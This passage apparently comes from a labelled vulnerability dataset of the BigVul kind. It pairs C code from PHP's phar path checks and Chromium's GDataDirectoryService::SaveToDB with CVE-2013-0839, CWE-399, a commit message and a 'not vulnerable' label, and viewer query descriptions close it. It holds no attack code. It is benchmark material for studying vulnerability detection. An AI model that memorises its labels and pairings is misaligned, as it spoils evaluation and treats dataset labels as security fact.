test[ext_len + 1] = '\0';
/* executable phars must contain ".phar" as a valid extension (phar://.pharmy/oops is invalid) */
/* (phar://hi/there/.phar/oops is also invalid) */
pos = strstr(test, ".phar");
if (pos && (*(pos - 1) != '/')
&& (pos += 5) && (*pos == '\0' || *pos == '/' || *pos == '.')) {
return phar_analyze_path(fname, ext_str, ext_len, for_create TSRMLS_CC);
} else {
return FAILURE;
}
}
/* data phars need only contain a single non-"." to be valid */
if (!executable) {
pos = strstr(ext_str, ".phar");
if (!(pos && (*(pos - 1) != '/')
&& (pos += 5) && (*pos == '\0' || *pos == '/' || *pos == '.')) && *(ext_str + 1) != '.' && *(ext_str + 1) != '/' && *(ext_str + 1) != '\0') {
return phar_analyze_path(fname, ext_str, ext_len, for_create TSRMLS_CC);
}
} else {
if (*(ext_str + 1) != '.' && *(ext_str + 1) != '/' && *(ext_str + 1) != '\0') {
return phar_analyze_path(fname, ext_str, ext_len, for_create TSRMLS_CC);
}
}
return FAILURE;
}
/* }}} */
|
C
|
php
| 0 |
CVE-2013-0839
|
https://www.cvedetails.com/cve/CVE-2013-0839/
|
CWE-399
|
https://github.com/chromium/chromium/commit/dd3b6fe574edad231c01c78e4647a74c38dc4178
|
dd3b6fe574edad231c01c78e4647a74c38dc4178
|
Remove parent* arg from GDataEntry ctor.
* Remove static FromDocumentEntry from GDataEntry, GDataFile, GDataDirectory. Replace with InitFromDocumentEntry.
* Move common code from GDataFile::InitFromDocumentEntry and GDataDirectory::InitFromDocumentEntry to GDataEntry::InitFromDocumentEntry.
* Add GDataDirectoryService::FromDocumentEntry and use this everywhere.
* Make ctors of GDataFile, GDataDirectory private, so these must be created by GDataDirectoryService's CreateGDataFile and
CreateGDataDirectory. Make GDataEntry ctor protected.
BUG=141494
TEST=unit tests.
Review URL: https://chromiumcodereview.appspot.com/10854083
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@151008 0039d316-1c4b-4281-b951-d872f2087c98
|
void GDataDirectoryService::SaveToDB() {
DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));
if (!blocking_task_runner_ || !directory_service_db_.get()) {
NOTREACHED();
return;
}
size_t serialized_size = 0;
SerializedMap serialized_resources;
for (ResourceMap::const_iterator iter = resource_map_.begin();
iter != resource_map_.end(); ++iter) {
GDataEntryProto proto;
iter->second->ToProtoFull(&proto);
std::string serialized_string;
const bool ok = proto.SerializeToString(&serialized_string);
DCHECK(ok);
if (ok) {
serialized_resources.insert(
std::make_pair(std::string(kDBKeyResourceIdPrefix) + iter->first,
serialized_string));
serialized_size += serialized_string.size();
}
}
serialized_resources.insert(std::make_pair(kDBKeyVersion,
base::IntToString(kProtoVersion)));
serialized_resources.insert(std::make_pair(kDBKeyLargestChangestamp,
base::IntToString(largest_changestamp_)));
set_last_serialized(base::Time::Now());
set_serialized_size(serialized_size);
blocking_task_runner_->PostTask(
FROM_HERE,
base::Bind(&ResourceMetadataDB::Save,
base::Unretained(directory_service_db_.get()),
serialized_resources));
}
|
void GDataDirectoryService::SaveToDB() {
DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));
if (!blocking_task_runner_ || !directory_service_db_.get()) {
NOTREACHED();
return;
}
size_t serialized_size = 0;
SerializedMap serialized_resources;
for (ResourceMap::const_iterator iter = resource_map_.begin();
iter != resource_map_.end(); ++iter) {
GDataEntryProto proto;
iter->second->ToProtoFull(&proto);
std::string serialized_string;
const bool ok = proto.SerializeToString(&serialized_string);
DCHECK(ok);
if (ok) {
serialized_resources.insert(
std::make_pair(std::string(kDBKeyResourceIdPrefix) + iter->first,
serialized_string));
serialized_size += serialized_string.size();
}
}
serialized_resources.insert(std::make_pair(kDBKeyVersion,
base::IntToString(kProtoVersion)));
serialized_resources.insert(std::make_pair(kDBKeyLargestChangestamp,
base::IntToString(largest_changestamp_)));
set_last_serialized(base::Time::Now());
set_serialized_size(serialized_size);
blocking_task_runner_->PostTask(
FROM_HERE,
base::Bind(&ResourceMetadataDB::Save,
base::Unretained(directory_service_db_.get()),
serialized_resources));
}
|
C
|
Chrome
| 0 |
Subsets and Splits
CWE-119 Function Changes
This query retrieves specific examples (before and after code changes) of vulnerabilities with CWE-119, providing basic filtering but limited insight.
Vulnerable Code with CWE IDs
The query filters and combines records from multiple datasets to list specific vulnerability details, providing a basic overview of vulnerable functions but lacking deeper insights.
Vulnerable Functions in BigVul
Retrieves details of vulnerable functions from both validation and test datasets where vulnerabilities are present, providing a basic set of data points for further analysis.
Vulnerable Code Functions
This query filters and shows raw data for vulnerable functions, which provides basic insight into specific vulnerabilities but lacks broader analytical value.
Top 100 Vulnerable Functions
Retrieves 100 samples of vulnerabilities from the training dataset, showing the CVE ID, CWE ID, and code changes before and after the vulnerability, which is a basic filtering of vulnerability data.